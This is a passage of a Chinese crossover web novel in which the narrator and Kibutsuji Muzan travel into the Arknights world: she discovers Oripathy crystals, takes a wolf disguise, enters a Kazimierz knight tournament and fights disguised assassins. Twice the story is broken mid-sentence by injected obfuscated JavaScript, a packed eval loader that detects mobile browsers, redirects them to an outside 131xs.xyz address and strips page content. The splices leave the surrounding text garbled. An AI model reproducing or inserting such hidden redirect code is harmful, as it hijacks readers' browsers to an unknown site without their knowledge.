他耸肩做出与自己无关的样子,轻描淡写地说:“别拿这种事来指控我,会因为一点小问题就露出那种愚蠢的表情,只能是你自己的错,你还不够强。” “但你还是愿意偶尔捞我一下的对吧?我发现了,我们的无惨大人还是会慈悲地让我免于无可挽回的境地。嗯,谢谢。”我觉得我没有说错,因为每次都在我认为无计可施的时候得到他的一点点帮助,或许他确实没到完全铁石心肠的地步,不,不该这么说,应该说是……至少我在他眼中还有价值。 利用是建立在价值上的,我知道他喜欢拿我当乐子,在他眼中我可能就是一个棋子,不过这样也说明我对他是有价值的。 这样可好了,无论是不同世界的剧情情报,还是可能要解决的敌人,我完全相信自己能持续为他提供价值,只要还有价值,他就会愿意一直利用我。 “真是一张令人作呕的脸。”无惨冷哼一声把我的脸推到一边,“‘情绪价值’,这个词可是你先说的,既然你想从我这里得到你要的情绪价值,那么玩具给我提供一点乐趣,也没什么大不了的吧。” 我低头弯腰从他手掌下绕出来,他的话让我的嘴角难以掩饰地上扬,必须承认我真的很喜欢他这样做。 唉,可能每个人都会有一款属于自己的“好言难劝要死的鬼”,如果对方是鬼舞辻无惨的话,我怎么可能拒绝他呢? “你也想要情绪价值?那太好说了。”我将双手背在身后对着他笑,他的双眸中映出我笑得有些贱兮兮的面孔,“至少迄今为止我应该都做得还不错吧,现在你可以夸我了。” 他沉默了几秒,抬手握上我的脖颈。 颈上传来一阵冷意,随后是慢慢收紧的力量,我听见他低声说:“白夜,我有没有说过,你真的很讨厌?” “我以为这么久了你对我会有点好感。” “如果你指的是作为工具,我喜欢话少一点、更有自知之明的那种。” “但是……那你可以像我前面说的那样,用「八房」杀了我,这样你不用的时候就不会看见我了。”我低头别开视线,脖子上的束缚并没有收紧,他并没有真的想让我死,“我们难道不可以关系好一点吗?你刚才还说我有给你带来乐趣的。” 鬼舞辻无惨加重了些力气,他指尖的利爪好像刺破了我的皮肤,脖子上传来轻微的刺痛感。 “我只是真的、真的很喜欢你,你让我做什么我都不会拒绝的。” 真是的,到底该怎么和他交流嘛,明明刚才的氛围还挺轻松的,怎么现在好像又生气了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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琴声传遍战场上空,比起音波攻击,【自由的探戈】以一种近似无害的方式传音乐,当然估计不算好听,因为我自己并不会拉琴。 但是我要拉琴给她听。 或许还是得庆幸一下技能效果还原的是游戏内的战斗效果,若真的是阿尔图罗本人的琴声,我可不敢确定自己到底会不会帮倒忙。 毕竟面对艾斯德斯,很难说革命军中有没有会因为内心恐惧而逃跑的人。 艾斯德斯起初没有在意,但在发现自己的动作变得略有些迟缓,过了半分钟又没由来吐出一口血后,她循声望向了这边。 比我之前弄出来的钙质更锋利的冰楞飞来,我侧身让其擦着脸颊过去。下方的战场里,赤瞳抓住这个机会刺向她,而很快高耸的冰墙就被竖起,隔绝了所有人,艾斯德斯要与她单独决斗。 接下来的事就跟我没关系了,我已经把能做的做完了。 对艾斯德斯造成的凋亡伤害还会持续一小段时间,在此期间她的攻击力会被削减,也会持续受伤,希望赤瞳能抓住这个机会。 “好了,我们提前走人吧,因为留下来可能还会被问很多东西,太麻烦了。”我丢掉手中的乐器,走向鬼舞辻无惨,他刚才随手吞掉了一个背后袭来的暗杀部队人员。 他对我选的拉琴技能的评价是“把戏挺多”。 系统还没结算主线剧情的分数,赤瞳还没有杀死艾斯德斯。 不过现在已经可以走了,离开帝都皇城倒是没什么问题,去郊外等前往下一个世界。 希望这次别来什么莫名其妙的炸弹了,关于这一点我至今还是没有头绪,决定暂且搁置,只是拆弹仍是各头疼的活,实在不想再来一次。 【完成主线任务,获得积分奖励100分】 看来是帝都的战斗结束了,《斩·赤红之瞳》这部作品也是折腾了挺久。 下一个世界的信息应该马上就要给出了,现在我倒是希望之后的关卡是轻松一点的剧情,如果是《迷宫饭》那种不用做什么还能蹭两顿饭的就更好了。 【玩家共计积分:430分】 是个不错的成绩,买道具可以稍微放松一点了。 “不过现在还没有下一个世界的指引吗?感觉怪怪的,先沿着大路走吧,森林里毕竟容易有危险种和盗贼,然后……然……”我在走路时突然感到视线内天旋地转,随后脚下一软跌了下去。 我摔倒了?可能是被石头绊了一下,但是……好奇怪,怎么用不上力气? 头晕得厉害,胸腔腹腔里也热乎乎的。 鼻子下面有些湿润,我抬手摸了摸,竟抹到一手殷红。 “你在做什……这是怎么了?”往前走了几步发觉我没跟上去的无惨回过头,也在看清我现在状态的时候露出惊讶的神色。 他向我走回来,我抬头茫然地看着他摇摇头。 我说不出话来,耳边嗡嗡作响,连之后他说了什么都听不清。 好难受。 凉意触上我的脸颊,比以往每一次触碰都要更冷。 他似乎在说我的体温高得有些异常。 我还是摇头,实在不知道自己怎么回事,现在真的比以前任何一次都觉得我要死了。 胸腔里的热意更甚,这让我有些喘不上气。 肩膀上也很疼,左肩是刚才被奥内斯特大臣打到的地方,但是那里也应该在【钙质化】的效果下完全治愈了。 鬼舞辻无惨将我扶起来一点,见我神志越发不清醒后有些不耐,却在发话之前顿住。 他扶在我肩上的手松了松,又用拇指指腹用力按住一会,随后似乎是发现了什么,他撕开了我左肩的衣料,又蹙眉看着那边没再说一句话。 耳鸣好了一些,我有气无力地问他看见了什么。 “我还想问你这是什么。”他是不知道的,但肯定不是好东西,不然他也不会露出这种神色,“黑色,质地坚硬的石块,人类身上可不会有这种东西。” “石……什么?” 我努力抬起手探向左肩,先碰到的是他的手,再慢慢拨开手指摸向下方微微发热的硬块。 心中隐隐得出了一个设想,但那种事情……怎么可能? 可我无论如何都得不出第二个答案,也找不到任何能将这些大小不一的硬块从我身上剥除的可能。 体表源石结晶? 23. 第 23 章 我好像睡了很久,睁开眼的时候眼前已经完全换了风景。 不再是茂密的森林植被,而是现代风格的室内,我身下是质感较硬的沙发,空气中有股潮湿的气味。 印象中是在我摸到自己肩上的体表源石结晶之后没过多久就昏过去了,在那以后又发生了什么我实在是无从得知,现在又是哪里? 我坐起身,这间屋子陈设很简单,除了基础的家具以外没有别的东西,家具也都是些旧物。 “你醒了?这里是我们骑士团的休息室,不过有些简陋啦。”我循声望去,一抹火红映入眼帘,蓬松的红色尾巴在说话者身后上下摇摆。 我下意识喊了句“焰尾”,她听见后似乎很是高兴,转头对自己身后的人又说:“小灰,看来这位小姐还是我们的粉丝呢。” 焰尾身后的是灰毫,那么这里就是红松骑士团的据点了,也就是说,我现在身处《明日方舟》中的泰拉大陆,在卡西米尔大骑士领。 卡西米尔允许矿石病感染者参加骑士竞技,并不代表他们愿意给感染者选手优渥的条件,而且红松骑士团大部分比赛奖金都拿来救助感染者了,她们的据点确实可以用简陋来形容,所有的家具多半都是在二手市场淘的,或是从废弃回收站捡来的。 我从沙发上跳下来腾出点空间,借着焰尾的话给自己找了台阶:“红松骑士团对吧,我一直有关注你们的比赛,大家都是非常厉害的选手,也是……我们感染者的骄傲。” 身上的衣服换成了卡西米尔风的便服,不出意外的话肩膀上的源石结晶应该已经被她们看到了,现在我的身体状态比之前很长一段时间都稳定,或许也是她们在我昏迷期间给我用过应急药物了。 说实话我一开始也不相信,按《明日方舟》的设定,源石只对泰拉人有影响,最原始的普通人类是不会感染矿石病的,但真的回顾前段时间的行动的话,身体素质的提升应该或多或少来自于这个矿石病。 唯一的解释是我大概已经不是人类了,或者说不再是完全的人类。 鬼舞辻无惨觉得我的血液味道差,多半也是来自于体内微量的源石影响,那个味道好才有问题呢。 心情果然还是有点复杂吧,要接受身体发生如此大异变的现状并非易事,更何况矿石病这种无法治愈的病症出现在自己身上,换谁能泰然处之啊…… 诶,说起来,无惨呢? “啊哈,真的很感谢你的支持,当然比起那位血骑士来说我们还有很长的路要走呢。”焰尾带着灰毫进门,将一些保养武器的设备放在桌上,又给了我一支应急药剂,“我们也是希望感染者能被更多人尊重,更是为了大家都能用上药物,在路边看见紧急发作的感染者可真是吓一跳呢。” 我接过药剂道了声谢,注意到我探寻视线的灰毫指指门口:“你在找和你一起的那位先生吗?他之前出去了,因为不是感染者,所以在外面走动也不会有什么问题,倒是你要多小心。” 肩膀上的源石结晶被衣服遮住了,既然是先遇到的红松骑士团、被她们带到休息室,那这边应该还没有多少人知道我是感染者的事。 不过我首先要解决的问题好像不是矿石病,而是我和真正的泰拉人之间最大的区别——我没有半兽人的耳朵和尾巴。 说到这里我才想起来自己在泰拉可以说是身无分文,分明我在《明日方舟》的游戏账号里有不少龙门币和合成玉,可惜都带不到现实中。 或许也是察觉到我对不知如何感谢她们有些困扰,焰尾摆摆手笑着说不用,庇护感染者也是红松骑士团的责任。 “嗯……这样吧,如果你们不知道该去哪里,想为感染者做更多的话,去找一家叫罗德岛的公司。”我只能告诉她们这样的信息作为回礼,“虽然是公司啦,可能你们都不太信任,但是罗德岛是一个为感染者不断努力的地方,那里比卡西米尔好很多。” 之前的易容道具可以帮我把耳朵变成尖耳的样子,不知道能不能用来模仿一下泰拉人。 告别了焰尾和灰毫,离开红松骑士团,据点外是成堆的建筑垃圾,只有这样的地方才能给感染者提供更多庇护的角落,让没有合法身份的他们在卡西米尔也能有一处生存空间。 走出去之前我看了一眼系统商城,目光马上被商城栏内多出来的一件新商品吸引,仔细阅读了一下,拇指大小的小药水瓶下写着“泰拉种族惊喜盲盒”。 哈哈,盲盒。 我几乎是一下就明白了这个东西的运作原理,难怪标价只需要5积分呢。 不过想想还是挺好玩的,毕竟盲盒这东西就讲究的一个随机性,服用一次维持24小时的泰拉任意种族拟态,每次都有不同的结果,就当是一种体验了。 我毫不犹豫地买下一瓶打开一饮而尽,无色无味的药水就像喝水一样顺利地被咽下肚,随后头顶发丝间和后腰处都隐隐发痒,最后在轻微的刺痛后,我感到自己头顶和身后多了份知觉。 旁边地上有半块碎掉的镜片,借着镜面我看清了自己现在的模样:头顶竖起三角状的耳朵,后腰垂下毛发光洁的长尾,毛色都和我自己的发色一致。 惊叹于小盲盒逼真的拟态能力,我问了句系统自己现在算什么种族。 【玩家现在种族为鲁珀】 在卡西米尔变成鲁珀好像有点微妙,不过这边总体而言还是挺包容的,应该不用太担心。 我是在骑士协会的骑士竞技报名处找到的鬼舞辻无惨,报名处就离刚才的出口不远,而他也正好从那边走过来。 总觉得有种不妙的预感…… 这种不妙的预感在无惨告诉我“刚才有个金发小姑娘说想找人一起打双人赛,我就替你答应然后报名了”的时候完全应验,我听完他的话很久都接不上下一句。这句话本身信息量就挺大的,我只稍稍感叹了一下果然他真的是想看我破防来找乐子,便追问他说的金发小姑娘是谁。 “今天怎么那么平静?”他没得到自己想要的结果,面色不善地反问我,随后告诉我是个耳朵尾巴像马的金发小姑娘,“那身装备与其说是铠甲不如说更像小女孩穿的裙子。” 好,是玛莉娅,玛莉娅·临光。 跟我自己猜测的时间差不太多,《长夜临光》的剧情前夕,也是《玛莉娅·临光》的剧情结尾。寻找双人赛搭档的是临光家的小女儿玛莉娅,而她的姐姐玛嘉烈会在那场双人赛宣布自己回到卡西米尔。 我记得剧情里原本该是远牙答应的她一起参赛,但遭到了商业联合会的算计受伤而无法出场,使她不得不一人面对两个恐怖的萨卡兹骑士。那现在无惨给我报了名去参赛,这些矛头会指向我? “没事,你这次干得好。”我见无惨被我晾着有些不耐,迅速对他眨眨眼回答道,“倒是正合我意了,我本来就打算来这里报名的,你等着看比赛吧。” 他看向我的眼神中写着不满。 我迅速向他解释了一遍省流版的《玛莉娅·临光》剧情,表示参加骑士竞技确实是我想做的,毕竟这是个跟角色产生交集的机会,现在报名了双人赛更是能以搭档身份和玛莉娅搞好关系,在整个卡西米尔的剧情篇章中没有坏处。 只不过临光家族向来是备受瞩目,此次小女儿参加骑士竞技也是一大看点,而商业联合会想打压临光家族,便一直给她安排难以战胜的选手,哪知道她真的一路打过来了,所以他们就会想办法搞掉她的双人赛搭档,好让她不得不一个人迎战两个敌人,最终制造一场赛中意外战死的事故。 “所以现在开始,要好好保护我哦。”我理直气壮地拍拍前胸,看着鬼舞辻无惨。 “你觉得会有杀手?” 我示意他先去找个能住的地方,而且这种话也不适合在骑士协会外面聊,剩下的边走边说。 “叫无胄盟,是专门刺杀一些不听商业联合会安排的骑士的人,除此之外可能还有伪装成路人粉丝闹事的。说起来,你替我报名的时候,有说过我是感染者吗?” “什么感染者?” 我话到嘴边顿住。 合着原来他还不知道矿石病的事情啊! 好像我也确实没和他解释过,但他居然也没问过焰尾和灰毫,虽然他也能看出来我身上是有异常状态的,但果然还是得和他讲解一遍矿石病的原理。 “这里是泰拉,是我玩过的一个游戏,设定上是源石作为主要能源,但是接触多了会被感染矿石病。”我用尽量简洁凝练的方式告诉他身上体表结晶的来历,“血液会被影响,内脏会被侵蚀,皮肤表面会长石头,就像我这样。对这里的人来说是一种无法治愈的绝症,如果发展程度严重的话大概会全身长出源石结晶然后死掉吧,而且尸体还有概率爆炸。对了顺带一提,感染者的血液也有很强的传染性,其他的传播途径有吸入粉尘和伤口接触活性源石。” 鬼舞辻无惨在听见矿石病无法治愈的时候似乎皱了下眉,在我说到血液有传染性的时候停下脚步瞪向我。 “让你感到危机了?别紧张,只有泰拉人会感染,你和你认知中的人类在这里算是另一种生物了,被源石刺伤也不会感染的。”这当然也是我小小的恶作剧,在叙述过程中漏掉一点信息,强传染性的、不可治愈的疾病,即便是现在的无惨也还是会下意识对此感到厌恶,更别说这种病还是他原先从未见过的那种。 只是作为他拿我寻开心的一点点回击,偶尔看自推吃瘪的表情也不失为一种乐趣。 当然在 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说完这些话后,我自己都为自己意外坦然的心态感到些惊诧,尽管我确实除了接受事实以外毫无办法。可能只是因为玩《明日方舟》玩多了所以更能接受来自于这个游戏里的设定,我心说至少我现在真的没有任何“生病”的实感,之后还是找个机会去罗德岛系统检查一下身体比较好。 头顶的耳朵抖了抖,尾巴在身后左右摇摆。 我对着鬼舞辻无惨张开口,让他看见了我口中变得有些尖锐的两对犬齿——这也是我刚才舌头刮上牙齿感到些刺痛后才察觉到的。“是拟态道具小盲盒哦,随机变成一个种族的样子,你看我的牙齿也变了。”舌尖轻点齿尖,“是不是像你一样了?好看吧。” “呵,像狗。” “鲁珀是狼!不是狗!” “你为什么在这个问题上反应那么大?” 鬼舞辻无惨难以置信地看着我,意识到自己的过激反应,我张口说不出话,最后闭上嘴耷下耳朵,做出无辜的表情。 好吧,可能只是鲁珀的种族本能,狼被喊成狗肯定是会不爽的嘛,下意识就觉得来气,然后就直接怼回去了。原来拟态成泰拉人之后一些心理反应也会被影响,就是不知道变成萨科塔的话会不会突然拥有共感能力。 我挠挠头,问他:“要不把耳朵给你摸摸?像摸狗一样也没事的。” “谁要你做那种事了!”他好像是彻底被我无语到了,头也不回地往前走去。 我放轻脚步跟在他身后,以我现在的身体素质跟上他的速度完全不难。自知惹他生气,我尽量降低自己的存在感,尝试找系统询问资金的问题。 其实我身上还有点现实世界的红纸钞票,包括从《斩·赤红之瞳》中带出来的那里的货币,但泰拉流通的是龙门币,我需要知道系统是否可以提供货币兑换的功能。 系统给了我今天收到的最好的一个消息。 【玩家龙门币资源已与游戏账户绑定】 这种天上掉馅饼的好事实在难以置信,直到我点开系统给的龙门币账户后才确信它真的没有忽悠我。六位还是七位——不重要了——的龙门币金额摆在账户里,这种资源向来是游戏里最容易积攒,也最不缺的东西。 至少我自己在玩游戏的时候不缺这类资源。 早说我可以有这么多龙门币嘛,这不是全卡西米尔乃至整个泰拉都随便住了? 我加快脚步追到鬼舞辻无惨前面,他看上去还是不太想理我,我赶在他骂我之前告诉了他龙门币的情况,并表示可以直接去骑士竞技场附近找最好的酒店了。 他确实不会为这种物质条件打动,但最好的酒店意味着强私密性和安静不被打扰的环境,我再次加码告诉他泰拉的科技树和之前完全不同,他的脸色比方才好了不少。 “顺带一提虽然现在是晚上,你在拖着我来泰拉遇到红松骑士团之前不知道有没有用过新的道具——克服阳光那个,但是我大概有一个猜想,”我想起一部分游戏设定,希望自己的猜想是可行的,“这里的阳光伤不到你。” 听到这里,他眼中闪过一丝惊疑。“这是你的猜想,那也就是说不能完全确定了,你知道我有多讨厌拿着未经确认的猜测就来我面前邀功。”话虽如此,我大概还是从他的语气中听出一点……期许。 我点头表示自己知道他讨厌别人猜了之后还猜错的情况,说:“虽然是猜测,但推断下来,这里的太阳和你、和我们认知中的那颗恒星不一样,或者说,包括月亮星星的所有天体在内,都不一样。” 无惨双手抱臂等着我更多的解释,显然这个说法让他产生了兴趣,他自行探索的时候应该也发现了这里和现实中的地球有很大差别。 我用最简短的语句把一切猜想的理由说了出来。 “因为泰拉的天空……是假的。” 24. 第 24 章 很难向一个从未了解过《明日方舟》的人解释其中的世界观,甚至是游戏剧情自身都只揭开冰山一角的泰拉天空的秘密。 我能告诉鬼舞辻无惨的也只有泰拉的天空与他认知中的完全不同,包括天体在内的一切天上的玩意,都可能藏有未知的威胁。 “泰拉的天空在本质上可能是一种人造产物,投影、天幕,暂且可以这么理解。”我找好角度抬头看向夜空,被城市霓虹点亮的夜幕上赫然挂着独属于泰拉的双月,“说起来,你有注意过吗?这里可是有两个月亮呢。” 无惨闻言抬头看向我示意的方向,在看见那一明一暗的天体后略显惊讶地睁大了眼睛。 两轮月亮足够证明这里天体星象的异常,尽管如此因为游戏到底是没有开诚布公具体真相,我告诉他的也只是基于自己的认识得出的猜想。 所以我的猜测也包括泰拉的太阳并不会对他造成伤害。 虚假的天空上太阳虽能拟真出常人认知的能效,提供光热太阳能的作用,但若本身就不是符合常理中“恒星”的存在,那根本就还是个不同的事物。 于是我问无惨,他愿不愿意在明日天亮后进行一次尝试。 他当下就拒绝了这个提议:“我为什么要为你那并不能完全确定的猜想负责?说到底,你讲的那些也是猜想不是吗?” 一个原因当然也是如果结论保真就能省下一次购买道具的积分。 “你有听说过白化病吗?这种病人也不能过度暴露在日光下,但是在泰拉,似乎是可以减少部分顾虑。”不过这也是猜测,我还是如实告诉了他,表示如果他实在不愿意冒险试验泰拉的太阳,用积分换道具也是可以的。 我们在泰拉估计还会待上一段时间,购买道具还是挺划算的。 无惨听我这次说的依然是带着不确定的话,不耐地反问道:“你是认为我会为这种无法完全肯定的猜想而高兴,还是只想满足自己的好奇心?” “如果你愿意试一试的话,我会在骑士竞技里好好表现让你看更多精彩的比赛。” “呵,你是能拿冠军?把这个当作交换条件有点可笑” 我被他问得噎住。 确实是不能拿冠军。今年的冠军意义尤为重要,自然是必须按照剧情一样由玛嘉烈夺得,不可改变,同样我也没那个信心在赛场上赢过她。 但鬼舞辻无惨就这么直接否定我多赢几场竞技的可能,那就是我们的信任有问题。 可我思考许久也找不到回嘴的话。 嗯……其实他也没说错吧。 但在我思考应该继续说什么才能让他转变态度的时候,他居然答应了。 我有点看不懂了。 还以为需要再加些筹码才能和他心中对这种试验行为衡量的价值对等,结果这次出乎意料地顺利,也不知道他又是怎么想的。 似乎是看够了晦暗分明的两轮月亮,鬼舞辻无惨继续向前走了,没有再针对这个话题展开更多内容。 大骑士领市中心星级最高的酒店,与骑士竞技场之间的距离适中,也会承接会议、宴会等多项功能。《长夜临光》剧情中虽未明讲罗德岛一行人居住位置,但根据城市规划稍加推理也能找到那里。 马上就要到特锦赛了,这家酒店聚集了来自泰拉各地慕名前来观看骑士竞技的达官显贵,高层的套房大约就是之后博士阿米娅等人居住的地方。 有钱还是能使鬼推磨。证件不全,身份不明——还有个种族都不明的鬼舞辻无惨——但这些问题在足够的小费前都不是问题。卡西米尔大概是物价偏高的地区,但和玩家账号内的龙门币金额相比还是小巫见大巫了。 只是前台仍向我再三确认了无惨的身份。 我回头看着他的红眸,他投来疑惑的目光,像在问我为什么还没好。 确实是没给他做过泰拉人的伪装,单从外貌看的话…… 不会被认成萨卡兹了吧。 “实不相瞒,其实他就是大名鼎鼎的血魔大君。”我回过头对着前台的那位库兰塔小姐勾起嘴角微笑。她面上波澜不惊,似乎是没把我的话当一回事,但右手已经放在了一旁的通讯终端上。 我忙摆摆手改口说自己只是开个玩笑,她将房卡递给我。 前往房间楼层的电梯内,我和无惨讲起这事。“你可能也需要一些伪装,这边的所有人都有点动物特征。”我说着指了指自己头上的鲁珀兽耳,耳朵很合时宜地抖动一下。 “不要,”他冷笑着拒绝,“将拟态变形用在模仿动物的外观?这也太蠢了。” 我稍微感觉他在指桑骂槐。 但是算了,计较这事干嘛呢。 “那你没有这些特征的话可能会引起怀疑,更坏的情况可能还会被认成一些危险的族群。”我用房卡打开套房的房间门,豪华的装潢引入眼帘,我也算是在泰拉这里见了见顶级酒店的世面,“你刚才应该听见‘血魔’这个词了,那是萨卡兹的一种,会吞噬人的血肉——好像真的把你说成血魔也没什么问题?” 无惨径直走到酒店房间的落地窗前,下方闪烁的霓虹是大骑士领高度商业化的一瞥,但不知有多少矿石病感染者只能蜷缩在霓虹灯照不到的角落苟延残喘。 他看着卡西米尔的夜景,说:“但按照你之前的解释,这种生物也仍然属于这个世界定义中的‘人类’。” “是。” “那便仍然只是人类。”他回头看向我,面上是毫无动摇的肯定。 泰拉是高魔世界,身体素质强于普通人类的泰拉人只要能使用源石技艺,作战能力大约是可以毫不费力达到下弦鬼的水平。而萨卡兹的战斗力和基础寿命更不是其他种族能媲美的,毕竟他们还涉及到整个泰拉文明的溯源,本质上和其他种族大不相同;来自纯血王庭的萨卡兹也很容易能达到英雄级单位的战斗力,即便定义为人类,却不是普通人类能对抗的存在。 我本来是想这么说的。 似乎我没有必要,也不应该拿自己的认知去灌输给他人,更何况这个对象是鬼舞辻无惨。 直白地说,因为《鬼灭之刃》漫画最后战力等级几乎崩溃,所以我对他究竟有多强还是一知半解,或许哪怕真的是对上血魔大君,没有负面影响和后顾之忧的他也不会当回事呢。 我将房门关上,顺手锁了所有的安全锁。 他在给我报名骑士竞技的时候没说我感染矿石病确实也好,感染者可住不进这种顶级酒店里。 “那要我去帮你抓个人过来研究一下他们的构造和法术能量流动原理吗?”危险发言当然要关起门来说,“泰拉人变成鬼会怎么样,我也挺好奇的。” 参赛的骑士失踪了会很麻烦,抓矿石病感染者如果被发现了会影响之后和罗德岛打交道,但如果是无胄盟的杀手,只要能找到,随便抓一个带走还是没什么问题的。他们本就是行于暗影中替商业联合会抹除敌人和弃子的杀手,突然失踪一个也不会有人追究。 无惨拒绝了这个提议:“现在没有必要。你还是好好准备你的比赛吧,不是说要好好表现让我看点精彩的吗?” “你都这么说了,我肯定会给你满意的结果。” 我要和瑕光搭档完成的双人赛对手是一对萨卡兹双胞胎,凋零和腐败。这俩小登在游戏内可没少给玩家添堵,活动关卡和危机合约内都是不好对付的精英怪,但我可以大胆赌自己要遇到的是只有剧情强度的对手,加上已经想好的对策解,打赢这场并不难。 只是如果赢得太顺利就没机会给玛嘉烈来一波天降救场了,耀骑士的回归这段剧情效果会大不如原作,看来即便到了泰拉也还是得继续演戏。 “比赛是哪天来着?”我脱下外套挂在衣帽架上,手抚上自己的肩膀,隔着衣物感受下面硬质的源石结晶质感。 他说明天下午。 时间有点紧张,但明天上午还能去见见玛莉娅,至少聊聊搭配方式。 比赛搭档等到开赛才见面,这场小队战安排得的确莫名其妙,根本不是传统赛程,只是商业联合会为了除掉玛莉娅故意安排的一出戏。就算我能按游戏经验打那对萨卡兹双子骑士,和自己的搭档没有配合的话,也很容易造成失误,所以我必须提前见到玛莉娅。 按照原来的剧情,本该成为玛莉娅的临时搭档的远牙会在明日赛前被卷入粉丝斗殴然后失踪,我没有理由不相信无论她的搭档是谁、无论是否有名,商业联合会都会不惜一切代价让她一个人走进赛场。 看来明天上午还挺危险的,如果遇到刺杀的话,就当作是热身好了。 门口的书报架上放着各家媒体的报刊,我一眼就瞥见了最惹眼的标题: 《临光家小女儿人气高涨,现任家主玛恩纳·临光却这样说:》 什么东西…… 我上手翻了翻,看了眼整张报纸的头版文章。 呵呵,不出所料是红酒报的佳作,那个正事不干永远只报道扭曲事实的花边八卦消息的知名报业。 突然心生歹意,我拿着这份报纸走到鬼舞辻无惨身边,递给他冲着他笑嘻嘻:“这个给你看,感觉你会喜欢。” 他接过报纸翻了翻,表情越发精彩。最后在狐疑地盯住我一会后,把报纸甩了回来。大张报纸在大力中散开,有几张散落在地上,还有几张盖在我头上,从面前滑下去。 “你在耍我。”我掀开挡住视线的报纸心虚地移开视线,他走近到我直到我不得不重新看向他,那双好看的眼睛映出我干笑的模样,“好玩吗?” “……好玩,对不起。” 就是很好玩嘛,这种新闻学魅力时刻当然是要分享给他人一起观赏。 “我是不是最近对你太温柔了,不生事你是不是就浑身不舒服?” 有点想点头,但是感觉再犯贱就不合适了。 我突然灵机一动,把话题扯开问他:“呃……你吃饭吗?” “你忘记自己的血味道很差了吗?” 鬼舞辻无惨从我手中拿走报纸扔向一边,从书架上拿下一本《卡西米尔概况》便转身走了。 好像他也没那么生气嘛,那我是不是可以……继续说点什么。 我跟在他身后抬头瞄着那本概况书,心中猜着他会如何看待泰拉诸国,小声对他说:“那这边的人无论是血还是肉应该都是这样的味道吧,因为源石可以说是整个泰拉文明的中心,你可能找不到味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679156|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道特别好的。” 所以我觉得我至少是个从普通人类变成泰拉人的,会比土生土长受源石影响的那种要好点。 他停下脚步回头瞪向我:“这么说我又得夸你了?” “其实你也可以试试专供血魔食用的一种替代性血浆,罗德岛应该有,据说味道不错。”我双手背在身后做出学生报告的神情。 无惨似乎在努力忍着不揍我,我识趣地退后两步远离他。 酒店套房有几间独立卧室,他瞪了我一会后什么都没说,快步走进其中一间重重摔上了门。 我转过身背对房门,抿起唇憋了一会,最后还是忍不住捂住嘴低声笑起来。 虽然有点对不起他,但是这真的很有趣啊。 翌日一早我们便前去找了玛莉娅·临光。 她所在的地方很好找,多半是光头马丁的酒吧,就算在那找不到人,只要和光头马丁说一声,也能联系上玛莉娅。这间酒吧更是找路人问一问就能知道在哪,毕竟光头马丁本人也是曾参加过骑士竞技的选手,在大骑士领,骑士是无人不知无人不晓的。 如我的猜想一样,泰拉的阳光洒在鬼舞辻无惨身上,他下意识抬手挡了挡,什么都没有发生。 “我曾想象过这一天的感觉,或许那只被人类歌颂的阳光也终于能带给我一点愉悦,变得稍微不再那么讨厌。”他似乎有些感慨,平淡地说了下去,“原来也没什么特别的感觉,温度、触感、气味,什么都没变,心中也泛不起任何感想。” “那我们多逛逛?大骑士领是完全现代的大都市,大正时代的东京完全没法比的那种,路边应该还有很多商品店会售卖高人气的竞技骑士周边呢。”我看着他这般神情,也不由自主地弯起嘴角笑起来,打开从酒店里拿出来的大骑士领观光手册翻了翻地图。 只可惜手机已经完全没电了,不然真想拍几张照片。昨夜检查之后很遗憾地发现泰拉的终端充电设备仍然无法给我自己的手机提供电量,想来就算开机也没有信号,干脆收回了储物空间等以后去哪个现代背景的世界再充电。 无惨被我唐突插入奇怪的商业信息,愣了愣,反问道:“我要那种东西做什么?” “也有可能是我要。”我收起地图朝他眨眨眼,往方才从路人那边问到的酒吧方向走。 前往光头马丁酒吧的路被一片乌泱泱的人群堵住了。 不祥的预感笼罩在心头,那群头戴各色应援带的人脸上神色晦暗难分,在仔细盯住他们中的一个时便发觉对方的目光立刻移开向别处,但余光处能瞥见其他人都在看着我这里。 传说中的“粉丝斗殴”,有点好笑了。 就像剧情中原本就有的台词一样,什么粉丝斗殴能将一位身经百战的独立骑士弄到重伤?说是骑士粉丝,实则都是无胄盟的刺客假扮的罢了。 鬼舞辻无惨也早已察觉来者不善,我向他迈近一步抬头在他耳边低声交代了点前因后果,在我还没说完无胄盟的三种等级时他就没有继续听下去的耐心,抬手示意我不要再说了。 无论如何我还是把重要的事交代清楚了:“这边处理完可能就赶不上去酒吧了,到时候直接去赛场就行。” 远牙受重伤当然还有一个原因是未曾设想商业联合会能下作到如此地步,而我本就有本而来。 我从储物空间取出帝具【八房】,几乎是崭新的太刀出鞘后闪着寒光。 “或者……这本手册给你,你随便逛逛?反正他们是冲我来的,大不了我逃到人多的地方,他们就奈何不了我了。”我将观光手册递给无惨,他把我的手挡了回来。 “粉丝”人群逐渐逼近,异常轻盈的脚步声也暴露了他们根本不是普通观众而是骑士杀手的身份。无惨退后一步做看戏状:“是啊,如果你连这些都对付不了,放大话说要打那个比赛就太可笑了。” “那就当是提前给你来场表演赛?如果我真的不行了,喊弃权你会救我的吧。”我看着走在人群前的几个人已经开始加快脚步,尚不知道他们的具体手段,不能贸然踏出一步自乱阵脚,我忙里偷闲随口和无惨扯了一句。 他是否答应会救我有些听不清了,所有其他的声音都被耳边的喧闹声覆盖,距离缩短后杀手也自然不再伪装,展露出了獠牙。 有了先前在《斩·赤红之瞳》里的经验,对人出招还算容易,我自知不是专业杀手,只是凭本能挥刀,砍到敌人不会再站起来就行了。 太刀帝具搭配着源石技艺,一些鲜血溅上我的脸颊和衣物,回头看向鬼舞辻无惨,地上的血不偏不倚落在他脚前一毫的位置,他身上没有沾上一点血迹。 就这么讨厌泰拉人的血嘛,我嘟囔了一句,回过头出刀将扑上来的一人捅了对穿。 